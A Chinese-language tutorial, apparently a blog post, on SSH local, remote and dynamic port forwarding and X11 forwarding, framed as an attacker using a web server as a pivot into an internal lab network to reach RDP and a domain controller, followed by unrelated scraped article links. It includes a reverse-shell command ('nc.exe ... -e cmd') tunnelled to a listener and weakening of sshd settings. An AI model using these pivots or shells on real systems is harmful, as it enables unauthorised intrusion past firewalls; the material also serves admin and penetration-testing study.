在内网中几乎所有的linux服务器和网络设备都支持ssh协议。一般情况下,ssh协议是允许通过防火墙和边界设备的,所以经常被攻击者利用。同时ssh协议的传输过程是加密的,所以我们很难区分合法的ssh会话和攻击者利用其他网络建立的隧道。攻击者使用ssh端口隧道突破防火墙的限制后,能够建立一些之前无法建立的TCP连接。
一个普通的ssh命令如下:
创建ssh隧道的常用参数如下:
-C:压缩传输,提高传输速度
-f :将ssh传输转入后台执行,不占用当前的shell。
-N:建立静默连接(建立了连接,但是看不到具体的会话)
-g 允许远程主机连接本地用于转发的端口。
-L:本地端口转发
-R:远程端口转发
-D:动态转发(socks代理)
-P:指定ssh端口。
 
1.本地端口转发
测试环境如下:
外部vps可以访问内网web服务器,但是不能访问数据库服务器,内网web服务器可以和数据库服务器互相访问。
测试目标:以web服务器为跳板,访问数据库服务器的3389端口。
修改ssh服务器配置文件
/etc/ssh/sshd_config
– PermitRootLogin yes
– Port 22
– PasswordAuthentication yes
▪ service ssh restart
 
ssh -fCNg -L <listen port>:<remote ip>:<remote port> user@<ssh server> -p <ssh server port>
ssh -fCNg -L 1153(vps端口):192.168.190.136(目标主机):3389(目标端口) root@192.168.174.133(跳板机)
ssh -fCNg -L 1153:192.168.190.136:3389 root@192.168.174.133 -p 22
netstat -anptl | grep 1153 查看本地1153端口,可以看到1153端口已经开启侦听。
使用rdesktop连接vps的1153端口,可以发现已经与数据服务器192.168.190.136的3389建立了连接
rdesktop 127.0.0.1:1153
ssh进程的本地端口映射可以将本地(客户机)的某个端口转发到远端指定机器的指定端口;本地端口转发则是在本地(客户机)监听一个端口,所有访问这个端口的数据都会通过ssh隧道传输到远端的对应端口。
 
加密传输:
linux1 : 192.168.190.110
linux2: 192.168.190.133
win7: 192.168.190.136
win2008: 192.168.190.132
在linux1和linux之间建立一条ssh隐秘隧道,使win2008将自己的shell通过ssh隧道反弹给win7。
在linux1上执行如下命令:
ssh -fCNg -L 7006:192.168.190.136:333 root@192.168.190.133 -p 22
在win7上使用nc监听本地333端口
nc -lvp 333
在win ser2008上使用nc连接linux1的7006端口
nc.exe 192.168.190.110 7006 -e cmd
回到win7上可以看到已经获得了win2008的shell了。
 
2.远程端口转发
测试环境如下:
左侧为攻击者vps(kali linux);右侧是一个小型内网,包含三台机器;内网没有边界设备,所以外部的vps不能访问内网中的三台机器;内网web服务器可以访问外网vps,数据库服务器和域控服务器均不能访问外网的vps。
测试目标:通过外网vps访问数据库服务器的3389端口。
以web服务器为跳板,将vps的1521端口的流量转发到数据库服务器的3389端口,然后访问vps的1521端口,就可以访问数据库服务器192.168.190.136的3389端口了。
在web服务器上执行如下命令:
ssh -fNg -R <listen port>:<remote ip>:<remote port> user@<SSH server> -p <ssh server port>
ssh -fCNg -R 1521(vps端口):192.168.190.136(目标主机):3389 root@192.168.190.110
ssh -fCNg -R 1521:192.168.190.136:3389 root@192.168.190.110
netstat -anptl | grep 1521 查看远程vps(192.168.190.110)发现已经开启对1521端口的监听
rdesktop 127.0.0.1:1521 访问vps的1521端口,即可与数据库服务器的3389端口建立连接。
总结:本地转发是在本地监听并将远程主机某个端口的数据转发到本地服务器的指定端口。远程端口转发则是在远程主机上监听一个端口,所有访问远程服务器指定端口的数据都会通过ssh隧道传输到本地的对应端口上。
 
3.动态转发
测试环境如下:
在vps上执行如下命令,建立一个动态的socks代理通道
ssh fCNg -D 7000 root@192.168.174.133
查看本地7000端口的监听是否已经启动,可以看到ssh正在监听7000端口。
然后,在本地打开浏览器并设置网络代理,通过浏览器访问内网域控制器(192.168.190.132)。
 
总结:动态端口映射就是建立一个ssh加密的socks代理通道。任何支持socks4/5协议的程序都可以使用这个加密隧道进行代理访问。
 
4.X协议转发
1.远程登陆 Linux GUI 运行图形化界面工具,类似于VNC和X windows。
2.防火墙限制访问时,可以尝试通过 SSH 的 X 转发
ssh -X root@192.168.199.165 -p 53
 
X协议转发测试
可以使用远程主机的图像化工具
 
 

ssh隧道使用的更多相关文章

  1. SSH隧道应用, 突破网络限制

    文/怡文圣美 这篇文章可以帮你解决下面三个问题: 不能直连服务器, 要先登陆跳板机, 造成客户端工具无法连接服务器. 服务器没有公网IP, 且只允许公司IP访问, 要在家里操作要先远程桌面到工作机再登 ...

  2. ssh隧道(端口转发)

    本地转发: ssh -Nf -L [bind_address:]port:host:hostport sshServer -Nf 后台运行 -L 本地转发 [bind_address] 绑定本地地址, ...

  3. 通过 SSH 隧道方式图形化连接 AIX 服务器

    跳转到主要内容 登录 (或注册) 中文 [userid] IBM ID: 密码: 保持登录. 单击提交则表示您同意developerWorks 的条款和条件. 查看条款和条件. 需要一个 IBM ID ...

  4. ssh隧道技术

    大家都知道SSH是一种安全的传输协议,用在连接服务器上比较多.不过其实除了这个功能,它的隧道转发功能更是吸引人.下面是个人根据自己的需求以及在网上查找的资料配合自己的实际操作所得到的一些心得. SSH ...

  5. 【转】三种不同类型的ssh隧道

    转自:http://blog.creke.net/722.html 大家都知道SSH是一种安全的传输协议,用在连接服务器上比较多.不过其实除了这个功能,它的隧道转发功能更是吸引人.下面是个人根据自己的 ...

  6. SSH隧道技术----端口转发,socket代理

    原文的原始出处不详,本文也是在复制引用了某篇转载,并做了必要的整理与编辑. 本文的受众 如果你遇到了以下问题,那么你应该阅读这篇文章 我听说过这种技术,我对它很感兴趣 我想在家里访问我在公司的机器(写 ...

  7. 公司内网Debian Server上的openvpnserver搭建并通过SSH隧道转发到广域网

    因为戴维营公司在长沙的学员,研发人员和北京的研发人员须要协同研发,故须要让北京的兄弟们增加到长沙办公室的内网,訪问版本号 管理server,于是採用在内网server上搭建一个OpenVPN服务,并把 ...

  8. ssh隧道

    最近有需求使用ssh隧道,顺便研究了下,以下记录一下大概说明 ssh隧道顾名思义在可以通过ssh连接的server之间建立加密隧道,常用于突破网络限制 常用三种端口转发模式:本地端口转发,远程端口转发 ...

  9. 配置SSH隧道访问Ubuntu服务器上的MongoDB

    为了数据安全,在MongoDB的配置文件里,一般会把默认的27017端口port改为自定义的端口号,然后把允许访问的IP设为127.0.0.1(即主机本身).但是这样就会在开发的过程查看数据时带来麻烦 ...

  10. 调试利器:SSH隧道

    欢迎大家前往腾讯云社区,获取更多腾讯海量技术实践干货哦~ 本文作者:ivweb 吴浩麟 原文出处:IVWEB社区 未经同意,禁止转载 在开发微信公众号或小程序的时候,由于微信平台规则的限制,部分接口需 ...

随机推荐

  1. 数据多js平均时间取固定条数展示,echarts数据多处理数据

    js代码: function getfailurerate(start,end,ip) { $.ajax( { url : "report/getvirtual.action", ...

  2. TestStand 界面重置【小技巧】

    有几种情况可能会使用到这个功能: (1)当界面调整的很乱的时候 (2)当界面突然消失的时候(但是软件进程还在)--快捷键 Alt+V 会弹出菜单,再点击Reset UI Configuration即可 ...

  3. 《面试宝典》 2019年springboot面试高频题(java)

    前言 2019年已经成为了过去,借此机会想好好总结一下2019年项目研发的成效,看看在项目从无到有,都经历了那些变化?取得了哪些成果?踩过哪些坑?一个人.一个研发团队要想有质的飞跃,必须善于反思过去, ...

  4. 洛谷$P3324\ [SDOI2015]$星际战争 网络流+二分

    正解:网络流+二分 解题报告: 传送门$QwQ$ 其实我第一反应是费用流来着,,,但是仔细想了下发现我不会实现各个武器之间独立同时?而且攻击是连续的答案可能是小数嘛$QwQ$. 所以显然不是递推就二分 ...

  5. $NOIp$普及组做题记录

    \([NOIp2014]\) 螺旋矩阵 \(Sol\) 直接模拟,一次走一整行或者一整列.复杂度\(O(n)\). \(Code\) #include<bits/stdc++.h> #de ...

  6. Jmeter-Ant 生成测试报告配置步骤

    1.配置java环境变量(不会的可以自行百度) 2.安装jmeter 3.安装ant,配置ant环境变量 4.将JMeter所在目录下extras子目录里的ant-JMeter-1.1.1.jar复制 ...

  7. 「USACO08JAN」电话线Telephone Lines 解题报告

    题面 大意:在加权无向图上求出一条从 \(1\) 号结点到 \(N\) 号结点的路径,使路径上第 \(K + 1\) 大的边权尽量小. 思路: 由于我们只能直接求最短路,不能记录过程中的具体的边--那 ...

  8. 我该如何学习spring源码以及解析bean定义的注册

    如何学习spring源码 前言 本文属于spring源码解析的系列文章之一,文章主要是介绍如何学习spring的源码,希望能够最大限度的帮助到有需要的人.文章总体难度不大,但比较繁重,学习时一定要耐住 ...

  9. shell学习-常用语句

    为什么使用shell 可以快速.简单的完成编程,实现自己的想法.Shell非常适合编写小的工具,因为小工具更强调的是易于配置.维护.移植等,而不是执行效率. 当自己的想法确实有必要进行优化,有必要让它 ...

  10. 重拾c++第四天(7):函数相关

    1.引用变量: int a; int &b = a; //引用变量 指向同一地址,必须在初始化时定义,且一直对原变量献上忠诚,主要针对类对象 2.函数重载最好用在功能相同,但数据类型不同的情况 ...